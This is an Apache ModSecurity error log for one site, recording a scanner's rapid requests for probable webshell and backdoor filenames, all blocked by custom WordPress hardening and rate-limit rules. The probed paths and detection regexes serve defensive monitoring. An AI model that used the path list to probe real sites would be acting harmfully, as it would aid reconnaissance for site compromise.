[Mon Dec 22 21:40:32.578326 2025] [:error] [pid 33472:tid 33510] [client 4.230.34.85:6116] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aUlKUJ5p2WQpPIK8HAk_mAAAAYk"]
[Mon Dec 22 21:40:32.914786 2025] [:error] [pid 33471:tid 33480] [client 4.230.34.85:6030] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aUlKUL5BeNE7regJ7ixVRwAAAUY"]
[Mon Dec 22 21:40:33.316164 2025] [:error] [pid 58172:tid 58188] [client 4.230.34.85:6139] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aUlKUeSVKDT5jWOcnSUDJgAAAM4"]
[Mon Dec 22 21:40:33.835856 2025] [:error] [pid 33564:tid 33568] [client 4.230.34.85:6100] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aUlKUQSHeG6oLmMnKY7UTwAAAgE"]
[Mon Dec 22 21:40:34.290831 2025] [:error] [pid 33564:tid 33591] [client 4.230.34.85:11813] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/click.php"] [unique_id "aUlKUgSHeG6oLmMnKY7UUAAAAhg"]
[Mon Dec 22 21:40:34.707732 2025] [:error] [pid 58078:tid 58103] [client 4.230.34.85:11799] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/click.php"] [unique_id "aUlKUpWKg9Bf8njHlB5dhgAAABQ"]
[Mon Dec 22 21:40:35.136810 2025] [:error] [pid 33535:tid 33560] [client 4.230.34.85:6083] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/click.php"] [unique_id "aUlKU2OCI8D9Xtn-n7TOsAAAAdc"]
[Mon Dec 22 21:40:35.487993 2025] [:error] [pid 33472:tid 33502] [client 4.230.34.85:11803] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/click.php"] [unique_id "aUlKU55p2WQpPIK8HAk_nAAAAYE"]
[Mon Dec 22 21:40:35.785269 2025] [:error] [pid 33535:tid 33544] [client 4.230.34.85:11809] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aUlKU2OCI8D9Xtn-n7TOswAAAcc"]
[Mon Dec 22 21:40:36.124544 2025] [:error] [pid 58172:tid 58195] [client 4.230.34.85:6080] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aUlKVOSVKDT5jWOcnSUDKAAAANU"]
[Mon Dec 22 21:40:36.416479 2025] [:error] [pid 56155:tid 56225] [client 4.230.34.85:11890] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aUlKVGG8a3wQucsuN67_FgAAA4M"]
[Mon Dec 22 21:40:36.772043 2025] [:error] [pid 33471:tid 33489] [client 4.230.34.85:11841] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/install.php"] [unique_id "aUlKVL5BeNE7regJ7ixVTAAAAU8"]
[Mon Dec 22 21:40:37.077001 2025] [:error] [pid 56155:tid 56231] [client 4.230.34.85:6041] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lv.php"] [unique_id "aUlKVWG8a3wQucsuN67_FwAAA4k"]
[Mon Dec 22 21:40:37.513625 2025] [:error] [pid 58078:tid 58104] [client 4.230.34.85:11854] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lv.php"] [unique_id "aUlKVZWKg9Bf8njHlB5diQAAABU"]
[Mon Dec 22 21:40:37.820818 2025] [:error] [pid 33472:tid 33518] [client 4.230.34.85:6095] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lv.php"] [unique_id "aUlKVZ5p2WQpPIK8HAk_ngAAAZE"]
[Mon Dec 22 21:40:38.125483 2025] [:error] [pid 56155:tid 56235] [client 4.230.34.85:11788] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lv.php"] [unique_id "aUlKVmG8a3wQucsuN67_GQAAA40"]
[Mon Dec 22 21:40:38.452134 2025] [:error] [pid 56044:tid 56055] [client 4.230.34.85:11817] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "aUlKVu60uUaieriJqP14-wAAAIc"]
[Mon Dec 22 21:40:38.933220 2025] [:error] [pid 56044:tid 56063] [client 4.230.34.85:11838] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "aUlKVu60uUaieriJqP14_AAAAI8"]
[Mon Dec 22 21:40:39.213470 2025] [:error] [pid 33564:tid 33578] [client 4.230.34.85:11797] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "aUlKVwSHeG6oLmMnKY7UUwAAAgs"]
[Mon Dec 22 21:40:39.560097 2025] [:error] [pid 33440:tid 33444] [client 4.230.34.85:11811] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "aUlKV5OsUWKqgxu6QTRALQAAAQI"]
[Mon Dec 22 21:40:39.894624 2025] [:error] [pid 33472:tid 33504] [client 4.230.34.85:11883] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aUlKV55p2WQpPIK8HAk_ogAAAYM"]
[Mon Dec 22 21:40:40.469584 2025] [:error] [pid 33472:tid 33509] [client 4.230.34.85:6120] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aUlKWJ5p2WQpPIK8HAk_owAAAYg"]
[Mon Dec 22 21:40:41.004295 2025] [:error] [pid 58078:tid 58089] [client 4.230.34.85:11832] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aUlKWZWKg9Bf8njHlB5djQAAAAY"]
[Mon Dec 22 21:40:41.380351 2025] [:error] [pid 33472:tid 33505] [client 4.230.34.85:11876] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aUlKWZ5p2WQpPIK8HAk_pgAAAYQ"]
[Mon Dec 22 21:40:41.674330 2025] [:error] [pid 33472:tid 33507] [client 4.230.34.85:11785] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aUlKWZ5p2WQpPIK8HAk_pwAAAYY"]
[Mon Dec 22 21:40:42.039058 2025] [:error] [pid 33472:tid 33519] [client 4.230.34.85:6089] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aUlKWp5p2WQpPIK8HAk_qAAAAZI"]
[Mon Dec 22 21:40:42.539075 2025] [:error] [pid 33472:tid 33523] [client 4.230.34.85:6084] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aUlKWp5p2WQpPIK8HAk_qgAAAZY"]
[Mon Dec 22 21:40:42.847423 2025] [:error] [pid 33472:tid 33514] [client 4.230.34.85:6109] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aUlKWp5p2WQpPIK8HAk_rQAAAY0"]
[Mon Dec 22 21:40:43.347269 2025] [:error] [pid 58078:tid 58098] [client 4.230.34.85:6106] [client 4.230.34.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aUlKW5WKg9Bf8njHlB5dkgAAAA8"]
[Mon Dec 22 21:40:43.729811 2025] [:error] [pid 33471:tid 33475] [client 4.230.34.85:11887] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aUlKW75BeNE7regJ7ixVUgAAAUE"]
[Mon Dec 22 21:40:44.075829 2025] [:error] [pid 33472:tid 33504] [client 4.230.34.85:11810] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aUlKXJ5p2WQpPIK8HAk_sgAAAYM"]
[Mon Dec 22 21:40:44.511042 2025] [:error] [pid 33472:tid 33509] [client 4.230.34.85:6087] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aUlKXJ5p2WQpPIK8HAk_swAAAYg"]
[Mon Dec 22 21:40:44.913766 2025] [:error] [pid 33564:tid 33591] [client 4.230.34.85:11780] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aUlKXASHeG6oLmMnKY7UWAAAAhg"]
[Mon Dec 22 21:40:45.387812 2025] [:error] [pid 33440:tid 33454] [client 4.230.34.85:11794] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w.php"] [unique_id "aUlKXZOsUWKqgxu6QTRAMQAAAQw"]
[Mon Dec 22 21:40:46.047757 2025] [:error] [pid 56044:tid 56071] [client 4.230.34.85:6058] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w.php"] [unique_id "aUlKXu60uUaieriJqP15AAAAAJc"]
[Mon Dec 22 21:40:46.404810 2025] [:error] [pid 33564:tid 33579] [client 4.230.34.85:6108] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w.php"] [unique_id "aUlKXgSHeG6oLmMnKY7UXAAAAgw"]
[Mon Dec 22 21:40:46.997435 2025] [:error] [pid 33440:tid 33452] [client 4.230.34.85:11874] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w.php"] [unique_id "aUlKXpOsUWKqgxu6QTRAMwAAAQo"]
[Mon Dec 22 21:40:47.415605 2025] [:error] [pid 58172:tid 58190] [client 4.230.34.85:11842] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aUlKX-SVKDT5jWOcnSUDLwAAANA"]
[Mon Dec 22 21:40:47.960922 2025] [:error] [pid 56044:tid 56068] [client 4.230.34.85:11803] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aUlKX-60uUaieriJqP15AQAAAJQ"]
[Mon Dec 22 21:40:48.280654 2025] [:error] [pid 58172:tid 58198] [client 4.230.34.85:11839] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aUlKYOSVKDT5jWOcnSUDMAAAANg"]
[Mon Dec 22 21:40:48.712207 2025] [:error] [pid 33535:tid 33554] [client 4.230.34.85:6092] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aUlKYGOCI8D9Xtn-n7TOuQAAAdE"]
[Mon Dec 22 21:40:49.001030 2025] [:error] [pid 58078:tid 58103] [client 4.230.34.85:11821] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUlKYJWKg9Bf8njHlB5dmwAAABQ"]
[Mon Dec 22 21:40:49.512339 2025] [:error] [pid 33535:tid 33559] [client 4.230.34.85:6088] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUlKYWOCI8D9Xtn-n7TOugAAAdY"]
[Mon Dec 22 21:40:49.865736 2025] [:error] [pid 33564:tid 33581] [client 4.230.34.85:11792] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUlKYQSHeG6oLmMnKY7UXwAAAg4"]
[Mon Dec 22 21:40:50.185896 2025] [:error] [pid 33564:tid 33582] [client 4.230.34.85:11786] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUlKYgSHeG6oLmMnKY7UYAAAAg8"]
[Mon Dec 22 21:40:50.857557 2025] [:error] [pid 56044:tid 56064] [client 4.230.34.85:11825] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aUlKYu60uUaieriJqP15AwAAAJA"]
[Mon Dec 22 21:40:51.163519 2025] [:error] [pid 56044:tid 56069] [client 4.230.34.85:11778] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aUlKY-60uUaieriJqP15BAAAAJU"]
[Mon Dec 22 21:40:51.569596 2025] [:error] [pid 33471:tid 33477] [client 4.230.34.85:11781] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aUlKY75BeNE7regJ7ixVVgAAAUM"]
[Mon Dec 22 21:40:51.882153 2025] [:error] [pid 58078:tid 58084] [client 4.230.34.85:11896] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aUlKY5WKg9Bf8njHlB5dngAAAAE"]
[Mon Dec 22 21:40:52.166945 2025] [:error] [pid 58172:tid 58174] [client 4.230.34.85:11902] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aUlKZOSVKDT5jWOcnSUDMwAAAMA"]
[Mon Dec 22 21:40:52.634776 2025] [:error] [pid 58172:tid 58183] [client 4.230.34.85:11808] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aUlKZOSVKDT5jWOcnSUDNQAAAMk"]
[Mon Dec 22 21:40:52.920177 2025] [:error] [pid 58172:tid 58186] [client 4.230.34.85:6135] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aUlKZOSVKDT5jWOcnSUDNgAAAMw"]
[Mon Dec 22 21:40:53.546818 2025] [:error] [pid 58172:tid 58175] [client 4.230.34.85:11804] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aUlKZeSVKDT5jWOcnSUDOgAAAME"]
[Mon Dec 22 21:40:53.850249 2025] [:error] [pid 33564:tid 33570] [client 4.230.34.85:6130] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aUlKZQSHeG6oLmMnKY7UZAAAAgM"]
[Mon Dec 22 21:40:54.227030 2025] [:error] [pid 33564:tid 33584] [client 4.230.34.85:6140] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aUlKZgSHeG6oLmMnKY7UZQAAAhE"]
[Mon Dec 22 21:40:54.565595 2025] [:error] [pid 33564:tid 33568] [client 4.230.34.85:6107] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aUlKZgSHeG6oLmMnKY7UZgAAAgE"]
